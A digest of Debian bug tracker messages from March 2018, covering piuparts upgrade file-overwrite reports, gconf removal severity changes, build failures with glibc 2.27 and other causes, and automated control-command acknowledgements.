Bug#892711: python-pymodbus-doc: fails to upgrade from 'stable' to 'sid' - trying to overwrite /usr/share/doc/python-pymodbus/examples/common/README.rst

[Andreas Beckmann]

Package: python-pymodbus-doc
Version: 1.4.0+dfsg-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'stable'.
It installed fine in 'stable', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

This test intentionally skipped 'testing' to find file overwrite
problems before packages migrate from 'unstable' to 'testing'.

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package python-pymodbus-doc.
  Preparing to unpack .../6-python-pymodbus-doc_1.4.0+dfsg-1_all.deb ...
  Unpacking python-pymodbus-doc (1.4.0+dfsg-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-Y42ubM/6-python-pymodbus-doc_1.4.0+dfsg-1_all.deb 
(--unpack):
   trying to overwrite 
'/usr/share/doc/python-pymodbus/examples/common/README.rst', which is also in 
package python-pymodbus 1.2.0+git20151013-1
  dpkg-deb: error: subprocess paste was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /tmp/apt-dpkg-install-Y42ubM/6-python-pymodbus-doc_1.4.0+dfsg-1_all.deb


cheers,

Andreas


python-pymodbus=1.2.0+git20151013-1_python-pymodbus-doc=1.4.0+dfsg-1.log.gz
Description: application/gzip

Bug#892710: {tcl,tk}-i{tcl,tk}4-{dev,doc}: missing Conflicts: i{tcl,tk}-{dev,doc}

[Andreas Beckmann]

Package: tcl-itcl4-dev,tcl-itcl4-doc,tk-itk4-doc,tk-itk4-dev
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts
Control: found -1 4.1.0-1
Control: found -1 4.1.1-1

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'testing'.
It installed fine in 'testing', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package tcl-itcl4-dev:amd64.
  Preparing to unpack .../tcl-itcl4-dev_4.1.1-1_amd64.deb ...
  Unpacking tcl-itcl4-dev:amd64 (4.1.1-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/tcl-itcl4-dev_4.1.1-1_amd64.deb (--unpack):
   trying to overwrite '/usr/lib/x86_64-linux-gnu/itclConfig.sh', which is also 
in package itcl3-dev:amd64 3.4.3-2
  Errors were encountered while processing:
   /var/cache/apt/archives/tcl-itcl4-dev_4.1.1-1_amd64.deb

  Selecting previously unselected package tcl-itcl4-doc.
  Preparing to unpack .../tcl-itcl4-doc_4.1.1-1_all.deb ...
  Unpacking tcl-itcl4-doc (4.1.1-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/tcl-itcl4-doc_4.1.1-1_all.deb (--unpack):
   trying to overwrite '/usr/share/man/man3/body.3itcl.gz', which is also in 
package itcl3-doc 3.4.3-2
  Errors were encountered while processing:
   /var/cache/apt/archives/tcl-itcl4-doc_4.1.1-1_all.deb

  Selecting previously unselected package tcl-itcl4-dev:amd64.
  Preparing to unpack .../3-tcl-itcl4-dev_4.1.1-1_amd64.deb ...
  Unpacking tcl-itcl4-dev:amd64 (4.1.1-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-u8Krl5/3-tcl-itcl4-dev_4.1.1-1_amd64.deb (--unpack):
   trying to overwrite '/usr/lib/x86_64-linux-gnu/itclConfig.sh', which is also 
in package itcl3-dev:amd64 3.4.3-2
  Selecting previously unselected package tk-itk4:amd64.
  Preparing to unpack .../4-tk-itk4_4.1.0-1_amd64.deb ...
  Unpacking tk-itk4:amd64 (4.1.0-1) ...
  Selecting previously unselected package tk-itk4-dev:amd64.
  Preparing to unpack .../5-tk-itk4-dev_4.1.0-1_amd64.deb ...
  Unpacking tk-itk4-dev:amd64 (4.1.0-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-u8Krl5/5-tk-itk4-dev_4.1.0-1_amd64.deb (--unpack):
   trying to overwrite '/usr/lib/x86_64-linux-gnu/itkConfig.sh', which is also 
in package itk3-dev:amd64 3.4.2-2
  Errors were encountered while processing:
   /tmp/apt-dpkg-install-u8Krl5/3-tcl-itcl4-dev_4.1.1-1_amd64.deb
   /tmp/apt-dpkg-install-u8Krl5/5-tk-itk4-dev_4.1.0-1_amd64.deb

  Selecting previously unselected package tk-itk4-doc.
  Preparing to unpack .../tk-itk4-doc_4.1.0-1_all.deb ...
  Unpacking tk-itk4-doc (4.1.0-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/tk-itk4-doc_4.1.0-1_all.deb (--unpack):
   trying to overwrite '/usr/share/man/man3/Archetype.3itk.gz', which is also 
in package itk3-doc 3.4.2-2
  Errors were encountered while processing:
   /var/cache/apt/archives/tk-itk4-doc_4.1.0-1_all.deb

The new packages also need a Conflicts against the old virtual package
names (i{tcl,tk}-*) used in stretch and buster to ensure clean upgrade paths.


cheers,

Andreas


itcl3-dev=3.4.3-2_tcl-itcl4-dev=4.1.1-1.log.gz
Description: application/gzip

Bug#892709: libgtk2-imageview-perl: Remove libgtk2-imageview-perl during the Buster cycle

[Jeremy Bicha]

Source: libgtk2-imageview-perl
Version: 0.05-2
Severity: serious
User: pkg-perl-maintain...@lists.alioth.debian.org
Usertags: gnome2-removal
Tags: sid buster
Control: blocked -1 by 870418

Since shutter is the only reverse depends for libgtk2-imageview-perl
and shutter is being removed from Testing (it needs to be ported to
maintained libraries like gtk3 and GObject Introspection), I think we
might as well remove this package from Testing too.

Thanks,
Jeremy Bicha

Processed: {tcl,tk}-i{tcl,tk}4-{dev,doc}: missing Conflicts: i{tcl,tk}-{dev,doc}

[Debian Bug Tracking System]

Processing control commands:

> found -1 4.1.0-1
Bug #892710 [tcl-itcl4-dev,tcl-itcl4-doc,tk-itk4-doc,tk-itk4-dev] 
{tcl,tk}-i{tcl,tk}4-{dev,doc}: missing Conflicts: i{tcl,tk}-{dev,doc}
There is no source info for the package 'tcl-itcl4-dev' at version '4.1.0-1' 
with architecture ''
There is no source info for the package 'tcl-itcl4-doc' at version '4.1.0-1' 
with architecture ''
Marked as found in versions itk4/4.1.0-1.
> found -1 4.1.1-1
Bug #892710 [tcl-itcl4-dev,tcl-itcl4-doc,tk-itk4-doc,tk-itk4-dev] 
{tcl,tk}-i{tcl,tk}4-{dev,doc}: missing Conflicts: i{tcl,tk}-{dev,doc}
There is no source info for the package 'tk-itk4-doc' at version '4.1.1-1' with 
architecture ''
There is no source info for the package 'tk-itk4-dev' at version '4.1.1-1' with 
architecture ''
Marked as found in versions itcl4/4.1.1-1.

-- 
892710: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892710
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892708: kicad-demos: missing Breaks+Replaces: kicad-common (<< 5)

[Andreas Beckmann]

Package: kicad-demos
Version: 5.0.0~rc1+dfsg1-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'sid' to 'experimental'.
It installed fine in 'sid', then the upgrade to 'experimental' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package kicad-demos.
  Preparing to unpack .../kicad-demos_5.0.0~rc1+dfsg1-1_all.deb ...
  Unpacking kicad-demos (5.0.0~rc1+dfsg1-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-demos_5.0.0~rc1+dfsg1-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/demos/complex_hierarchy/ampli_ht.sch', 
which is also in package kicad-common 4.0.7+dfsg1-1
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-demos_5.0.0~rc1+dfsg1-1_all.deb


cheers,

Andreas


kicad-common=4.0.7+dfsg1-1_kicad-demos=5.0.0~rc1+dfsg1-1.log.gz
Description: application/gzip

Processed: gkdebconf: raising severity of gconf dependency bug

[Debian Bug Tracking System]

Processing control commands:

> severity -1 serious
Bug #698032 [gkdebconf] Migrate from GConf to GSettings
Severity set to 'serious' from 'wishlist'

-- 
698032: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=698032
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: gnome-xcf-thumbnailer: raising severity of gconf dependency bug

[Debian Bug Tracking System]

Processing control commands:

> severity -1 serious
Bug #886072 [src:gnome-xcf-thumbnailer] gnome-xcf-thumbnailer: Depends on gconf
Severity set to 'serious' from 'important'

-- 
886072: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=886072
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: syncmaildir: raising severity of gconf dependency bug

[Debian Bug Tracking System]

Processing control commands:

> severity -1 serious
Bug #886044 [src:syncmaildir] syncmaildir: Depends on gconf
Severity set to 'serious' from 'important'

-- 
886044: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=886044
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892706: guake-indicator: Depends on gconf

[Jeremy Bicha]

Source: guake-indicator
Version: 1.1-2
Severity: serious
User: pkg-gnome-maintain...@lists.alioth.debian.org
Usertags: oldlibs gconf
Tags: sid buster

Your package depends or build-depends on gconf, but gconf will be
removed from Debian soon.

gconf's last release was about 5 years ago. It has been replaced by
gsettings (provided in Debian by source glib2.0 )

Please try to port your package away from gconf. Otherwise, please
consider requesting that your package be removed from Debian to help us
complete this goal.

References
--
https://developer.gnome.org/gio/stable/ch34.html
https://developer.gnome.org/gio/stable/GSettings.html
https://lists.debian.org/debian-devel/2018/02/msg00169.html

On behalf of the Debian GNOME team,
Jeremy Bicha

Processed: xchat: raising severity of gconf dependency bug

[Debian Bug Tracking System]

Processing control commands:

> severity -1 serious
Bug #375500 [xchat] xchat: please don't depend on gconf2
Bug #392251 [xchat] xchat: please don't depend on gconf2
Severity set to 'serious' from 'wishlist'
Severity set to 'serious' from 'wishlist'

-- 
375500: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=375500
392251: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=392251
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: raise severity of gconf reverse dependency

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> severity 885817 serious
Bug #885817 [src:gnomint] gnomint: Depends on gconf
Severity set to 'serious' from 'important'
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
885817: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=885817
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Re: mutter: Incomplete debian/copyright?

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> found 891156 3.26.2-1
Bug #891156 [src:mutter] mutter: Incomplete debian/copyright?
Marked as found in versions mutter/3.26.2-1.
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
891156: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891156
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Merge duplicates

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> reassign 866472 python-uniconvertor
Bug #866472 [src:python-uniconvertor] python-uniconvertor: depends on obsolete 
python-imaging (replace with python3-pil or python-pil)
Bug reassigned from package 'src:python-uniconvertor' to 'python-uniconvertor'.
No longer marked as found in versions python-uniconvertor/1.1.5-4.
Ignoring request to alter fixed versions of bug #866472 to the same values 
previously set
> affects 866472 python-uniconvertor-dbg
Bug #866472 [python-uniconvertor] python-uniconvertor: depends on obsolete 
python-imaging (replace with python3-pil or python-pil)
Added indication that 866472 affects python-uniconvertor-dbg
> forcemerge 866472 886802
Bug #866472 [python-uniconvertor] python-uniconvertor: depends on obsolete 
python-imaging (replace with python3-pil or python-pil)
Bug #886802 [python-uniconvertor] python-uniconvertor: cannot be installed
Severity set to 'serious' from 'grave'
Added tag(s) buster.
Bug #866472 [python-uniconvertor] python-uniconvertor: depends on obsolete 
python-imaging (replace with python3-pil or python-pil)
Marked as found in versions python-uniconvertor/1.1.5-4.
Merged 866472 886802
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
866472: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=866472
886802: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=886802
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Merge duplicates

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> reassign 892702 openstack-pkg-tools
Bug #892702 [src:cloudkitty] cloudkitty: Fails to build, syntax error in 
po/it.po
Bug reassigned from package 'src:cloudkitty' to 'openstack-pkg-tools'.
No longer marked as found in versions cloudkitty/7.0.0-3.
Ignoring request to alter fixed versions of bug #892702 to the same values 
previously set
> forcemerge 892697 892702
Bug #892697 [openstack-pkg-tools] openstack-pkg-tools: Italian debconf 
translation update appears to be broken
Bug #892702 [openstack-pkg-tools] cloudkitty: Fails to build, syntax error in 
po/it.po
Added indication that 892702 affects src:heat
Marked as found in versions openstack-pkg-tools/71.
Merged 892697 892702
> affects 892697 src:cloudkitty
Bug #892697 [openstack-pkg-tools] openstack-pkg-tools: Italian debconf 
translation update appears to be broken
Bug #892702 [openstack-pkg-tools] cloudkitty: Fails to build, syntax error in 
po/it.po
Added indication that 892697 affects src:cloudkitty
Added indication that 892702 affects src:cloudkitty
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892697: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892697
892702: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892702
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891373: marked as done (gridengine: FTBFS with glibc 2.27: undefined reference to `__alloca')

[Debian Bug Tracking System]

Your message dated Mon, 12 Mar 2018 01:49:37 +
with message-id 
and subject line Bug#891373: fixed in gridengine 8.1.9+dfsg-8
has caused the Debian Bug report #891373,
regarding gridengine: FTBFS with glibc 2.27: undefined reference to `__alloca'
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891373: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891373
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: gridengine
Version: 8.1.9+dfsg-7
Severity: important
User: debian-gl...@lists.debian.org
Usertags: 2.27

gridengine 8.1.9+dfsg-7 fails to build with glibc 2.27
(2.27-0experimental0 from experimental):

| make[4]: Entering directory 
'/<>/gridengine-8.1.9+dfsg/source/3rdparty/qmake/LINUXAMD64/glob'
| cc -DHAVE_CONFIG_H -I. -I../../glob -I..   -Wdate-time -D_FORTIFY_SOURCE=2  
-O2 -Wstrict-prototypes -DLINUX -DLINUXAMD64 -DLINUXAMD64 -D_GNU_SOURCE 
-DGETHOSTBYNAME_R6 -DGETHOSTBYADDR_R8 -DTARGET_64BIT -Wdate-time 
-D_FORTIFY_SOURCE=2 -g -O2 
-fdebug-prefix-map=/<>/gridengine-8.1.9+dfsg=. 
-fstack-protector-strong -Wformat -Werror=format-security -DSGE_PQS_API 
-DSPOOLING_dynamic -DSECURE -DHAVE_HWLOC=1 -DCOMPILE_DC 
-D__SGE_COMPILE_WITH_GETTEXT__ -D__SGE_NO_USERMAPPING__ -Wno-error 
-Wno-strict-prototypes -MT glob.o -MD -MP -MF .deps/glob.Tpo -c -o glob.o 
../../glob/glob.c
| cc -DHAVE_CONFIG_H -I. -I../../glob -I..   -Wdate-time -D_FORTIFY_SOURCE=2  
-O2 -Wstrict-prototypes -DLINUX -DLINUXAMD64 -DLINUXAMD64 -D_GNU_SOURCE 
-DGETHOSTBYNAME_R6 -DGETHOSTBYADDR_R8 -DTARGET_64BIT -Wdate-time 
-D_FORTIFY_SOURCE=2 -g -O2 
-fdebug-prefix-map=/<>/gridengine-8.1.9+dfsg=. 
-fstack-protector-strong -Wformat -Werror=format-security -DSGE_PQS_API 
-DSPOOLING_dynamic -DSECURE -DHAVE_HWLOC=1 -DCOMPILE_DC 
-D__SGE_COMPILE_WITH_GETTEXT__ -D__SGE_NO_USERMAPPING__ -Wno-error 
-Wno-strict-prototypes -MT fnmatch.o -MD -MP -MF .deps/fnmatch.Tpo -c -o 
fnmatch.o ../../glob/fnmatch.c
| mv -f .deps/fnmatch.Tpo .deps/fnmatch.Po
| ../../glob/glob.c: In function ‘glob’:
| ../../glob/glob.c:576:23: warning: implicit declaration of function 
‘__alloca’; did you mean ‘alloca’? [-Wimplicit-function-declaration]
|newp = (char *) __alloca (dirlen + 1);
|^~~~
|alloca
| ../../glob/glob.c:576:14: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
|newp = (char *) __alloca (dirlen + 1);
|   ^
| ../../glob/glob.c:704:15: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
| newp = (char *) __alloca (home_len + dirlen);
|^
| ../../glob/glob.c:727:15: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
| newp = (char *) __alloca (end_name - dirname);
|^
| ../../glob/glob.c:778:15: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
| newp = (char *) __alloca (home_len + rest_len + 1);
|^
| ../../glob/glob.c:809:11: warning: implicit declaration of function ‘__stat’; 
did you mean ‘__xstat’? [-Wimplicit-function-declaration]
|  : __stat (dirname, )) == 0
|^~
|__xstat
| ../../glob/glob.c: In function ‘glob_in_dir’:
| ../../glob/glob.c:1251:21: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
| char *fullname = (char *) __alloca (dirlen + 1 + patlen + 1);
|  ^
| ../../glob/glob.c:1278:12: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
| names = (struct globlink *) __alloca (sizeof (struct globlink));
| ^
| ../../glob/glob.c:1336:32: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
|  struct globlink *new = (struct globlink *)
| ^
| ../../glob/glob.c:1362:15: warning: cast to pointer from integer of different 
size [-Wint-to-pointer-cast]
|names = (struct globlink *) __alloca (sizeof (struct globlink));
|^
| mv -f .deps/glob.Tpo .deps/glob.Po
| rm -f libglob.a
| ar cru libglob.a glob.o fnmatch.o 
| ar: `u' modifier ignored since `D' is the default (see `U')
| ranlib libglob.a
| make[4]: Leaving directory 
'/<>/gridengine-8.1.9+dfsg/source/3rdparty/qmake/LINUXAMD64/glob'
| Making all in config
 
[...]
 
| cc  -O2 -Wstrict-prototypes -DLINUX -DLINUXAMD64 -DLINUXAMD64 -D_GNU_SOURCE 
-DGETHOSTBYNAME_R6 -DGETHOSTBYADDR_R8 -DTARGET_64BIT -Wdate-time 
-D_FORTIFY_SOURCE=2 -g -O2 

Processed: Bug #891373 in gridengine marked as pending

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #891373 [src:gridengine] gridengine: FTBFS with glibc 2.27: undefined 
reference to `__alloca'
Added tag(s) pending.

-- 
891373: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891373
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891373: Bug #891373 in gridengine marked as pending

[afif]

Control: tag -1 pending

Hello,

Bug #891373 in gridengine reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below, and you can check the diff of the fix at:

https://salsa.debian.org/hpc-team/gridengine/commit/c90a34ffea682348f28d5871f83f1c067ad0fc34


Update qmake for glibc 2.27

Adapted patches from backported upstream commits to
make-dfsg (in #891365).

Closes: #891373
Thanks: Aurelien Jarno



(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/891373

Bug#892702: cloudkitty: Fails to build, syntax error in po/it.po

[Jeremy Bicha]

Source: cloudkitty
Version: 7.0.0-3
Severity: serious

cloudkitty fails to build from source in a clean unstable chroot. This
is a regression from 7.0.0-2.

There's a build log at
https://launchpad.net/ubuntu/+source/cloudkitty/7.0.0-3/+build/14443658

build log excerpt
=
Merging it.po...
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:22:1: syntax error
msgmerge: found 19 fatal errors

Other Info

I guess this might actually be the fault of today's
openstack-pkg-tools 71 with "Updated Italian debconf translation".
Feel free to reassign and fix. :)


Thanks,
Jeremy Bicha

Bug#892700: metview: FTBFS, probably missing B-D: libfftw3-dev

[Andreas Beckmann]

Source: metview
Version: 5.0.1-1
Severity: serious
Justification: fails to build from source (but built successfully in the past)

Hi,

metview/experimental FTFBS:
https://buildd.debian.org/status/package.php?p=metview=experimental

make[3]: *** No rule to make target '/usr/lib/aarch64-linux-gnu/libfftw3.so', 
needed by 'lib/libMvMars.so.0.0.0'.  Stop.

This is probably a missing Build-Depends: libfftw3-dev


Andreas

Bug#880842: gnome-twitch FTBFS with meson 0.43.0: "descritpion"

[Jeremy Bicha]

Control: forwarded -1 https://github.com/vinszent/gnome-twitch/commit/6bee8bc0
Control: tags -1 fixed-upstream patch

Processed: Re: gnome-twitch FTBFS with meson 0.43.0: "descritpion"

[Debian Bug Tracking System]

Processing control commands:

> forwarded -1 https://github.com/vinszent/gnome-twitch/commit/6bee8bc0
Bug #880842 [src:gnome-twitch] gnome-twitch FTBFS with meson 0.43.0: Invalid 
kwargs for option "use-deprecated-webkit": "descritpion"
Set Bug forwarded-to-address to 
'https://github.com/vinszent/gnome-twitch/commit/6bee8bc0'.
> tags -1 fixed-upstream patch
Bug #880842 [src:gnome-twitch] gnome-twitch FTBFS with meson 0.43.0: Invalid 
kwargs for option "use-deprecated-webkit": "descritpion"
Added tag(s) patch and fixed-upstream.

-- 
880842: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=880842
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892645: [gnome-twitch] Segfault on json node

[Jeremy Bicha]

Is this reproducible with gnome-twitch 0.4.1-1 from experimental?

Thanks,
Jeremy Bicha

Bug#892699: doris: switch B-D to libepr-api-dev

[Andreas Beckmann]

Source: doris
Version: 5.0.3~beta+dfsg-3
Severity: serious
Justification: fails to build from source

Hi,

the transitional package libepr-api2-dev has been removed, please update
your Build-Depends to use libepr-api-dev instead.


Andreas

Bug#892324: marked as done (ruby-buff-config: FTBFS and Debci failure with ruby-hashie 3.5.5-2)

[Debian Bug Tracking System]

Your message dated Mon, 12 Mar 2018 00:06:22 +
with message-id 
and subject line Bug#892324: fixed in ruby-buff-config 2.0.0-2
has caused the Debian Bug report #892324,
regarding ruby-buff-config: FTBFS and Debci failure with ruby-hashie 3.5.5-2
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892324: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892324
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ruby-buff-config
Version: 2.0.0-1
Severity: serious

https://ci.debian.net/packages/r/ruby-buff-config/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ruby-buff-config.html

...

Failures:

  1) Buff::Config::Ruby#to_rb returns ruby with key values for each attribute
 Failure/Error: expect(lines[3]).to eq('cookbook_path(["cookbooks"])')

   expected: "cookbook_path([\"cookbooks\"])"
got: "cookbook_path(#)"

   (compared using ==)
 # ./spec/buff/config/ruby_spec.rb:90:in `block (3 levels) in '

Finished in 0.85024 seconds (files took 3.89 seconds to load)
30 examples, 1 failure

Failed examples:

rspec ./spec/buff/config/ruby_spec.rb:79 # Buff::Config::Ruby#to_rb returns 
ruby with key values for each attribute

/usr/bin/ruby2.5 /usr/bin/rspec --pattern ./spec/\*\*/\*_spec.rb --format 
documentation failed
ERROR: Test "ruby2.5" failed. Exiting.
dh_auto_install: dh_ruby --install 
/build/1st/ruby-buff-config-2.0.0/debian/ruby-buff-config returned exit code 1
make: *** [debian/rules:6: binary] Error 1
--- End Message ---
--- Begin Message ---
Source: ruby-buff-config
Source-Version: 2.0.0-2

We believe that the bug you reported is fixed in the latest version of
ruby-buff-config, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 892...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Hleb Valoshka <375...@gmail.com> (supplier of updated ruby-buff-config package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sun, 11 Mar 2018 17:00:22 +0300
Source: ruby-buff-config
Binary: ruby-buff-config
Architecture: source
Version: 2.0.0-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Ruby Extras Maintainers 

Changed-By: Hleb Valoshka <375...@gmail.com>
Description:
 ruby-buff-config - Ruby library providiing a simple configuration class
Closes: 892324
Changes:
 ruby-buff-config (2.0.0-2) unstable; urgency=medium
 .
   [ Hleb Valoshka ]
   * Support newer hashie gem (Closes: #892324).
   * Bump Standards-Version to 4.1.3 (no changes).
   * Update Vcs-* to salsa.debian.org.
   * Update Homepage with the actual address.
 .
[ Miguel Landaeta ]
* Remove myself from Uploaders list.
Checksums-Sha1:
 f9bc864835f78267a1056a694edbdab1cbf6a982 1834 ruby-buff-config_2.0.0-2.dsc
 78a740f3f33c369e7fb9946f9575fe9627cab487 3244 
ruby-buff-config_2.0.0-2.debian.tar.xz
 e7192eca58c9bb3b25dd5c2b3dfab208337cb8ab 6710 
ruby-buff-config_2.0.0-2_source.buildinfo
Checksums-Sha256:
 caf70043a19bc0ce4a9b0c3550f7bab28fce7dd672c3ac892ab3a6aa8c084dba 1834 
ruby-buff-config_2.0.0-2.dsc
 a03fc8c504573385926e0eacd6891300f352b93108d51b6b79d1f86a89684e21 3244 
ruby-buff-config_2.0.0-2.debian.tar.xz
 216f4ccb79a79984d8abafd2001e4d333e4c816acc6b5338d6ba58eb33cf298f 6710 
ruby-buff-config_2.0.0-2_source.buildinfo
Files:
 049a32abd28383f8350292a8e9a659aa 1834 ruby optional 
ruby-buff-config_2.0.0-2.dsc
 824ad6793c9f43d77adb4cc489fd1313 3244 ruby optional 
ruby-buff-config_2.0.0-2.debian.tar.xz
 3fac3d63fcbb50af3210e198f1a3b2ff 6710 ruby optional 
ruby-buff-config_2.0.0-2_source.buildinfo

-BEGIN PGP SIGNATURE-

iQEzBAEBCgAdFiEEnM1rMZ2/jkCrGr0aia+CtznNIXoFAlqlv38ACgkQia+CtznN
IXqmyQf+OzvJAYu0xN4hfwOZgCwMp/Rx5PeE+XloFO6FPxxvZ/qnLNM9fTQTcZ8q
FCgeQXL95Bps2RPH0wDEa0hqFHsDqJe7p4MLHDbL57sBIX57I2Eq/XN1Fw5MqlGZ
aIPGmpbRX1K8+PzJIsPQYsKGjm7s2yKINGUOo0nn8z0W7bYTQ8ANCCxh7A6IYE9z
gTr+ramtFd6K3EeYJXDgsLcLHFaP/+MDGDdPH7Z9400ZBy7OzoRs5jnJXhN2kwRn
ugEUWUMkyqN6qDs5eBx8INSgljEIPxKEnKMYRmIiZWrjiWpBSQp3W2M4MW6MQdbA
Mba4LZM+7hyHhkQn0hvGEGo++TlnpQ==
=T+EH
-END PGP SIGNATURE End 

Bug#865585: tagging 859841, tagging 892415, tagging 892529, tagging 865585, tagging 865606, tagging 891307 ...

[Andreas Beckmann]

On 2018-03-11 20:04, Adrian Bunk wrote:
> Did you try building apex in stretch?
> 
> It didn't build for me when I reported the bug.

No, I just concluded this from the fact that we
a) have binaries in stretch and
b) have only a failing buildlog from a post-stretch binNMU in sid

I tried now on abel and can confirm the problem in stretch.


Andreas

Processed: openstack-pkg-tools: Italian debconf translation update appears to be broken

[Debian Bug Tracking System]

Processing control commands:

> affects -1 src:heat
Bug #892697 [openstack-pkg-tools] openstack-pkg-tools: Italian debconf 
translation update appears to be broken
Added indication that 892697 affects src:heat

-- 
892697: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892697
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892697: openstack-pkg-tools: Italian debconf translation update appears to be broken

[Adrian Bunk]

Package: openstack-pkg-tools
Version: 71
Severity: serious
Control: affects -1 src:heat

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/heat.html

...
   debian/rules override_dh_auto_build
make[1]: Entering directory '/build/1st/heat-10.0.0'
pyversions: missing X(S)-Python-Version in control file, fall back to 
debian/pyversions
pyversions: missing debian/pyversions file, fall back to supported versions
py3versions: no X-Python3-Version in control file, using supported versions
/usr/share/openstack-pkg-tools/pkgos_insert_include pkgos_func 
heat-common.postinst
/usr/share/openstack-pkg-tools/pkgos_insert_include pkgos_func 
heat-common.config
/usr/share/openstack-pkg-tools/pkgos_insert_include pkgos_func heat-api.config
/usr/share/openstack-pkg-tools/pkgos_insert_include pkgos_func heat-api.postinst
/usr/share/openstack-pkg-tools/pkgos_insert_include pkgos_func 
heat-api-cfn.config
/usr/share/openstack-pkg-tools/pkgos_insert_include pkgos_func 
heat-api-cfn.postinst
/usr/share/openstack-pkg-tools/pkgos_insert_include pkgos_postrm 
heat-common.postrm
pkgos-merge-templates heat-api heat endpoint
Merging cs.po...
Merging da.po...
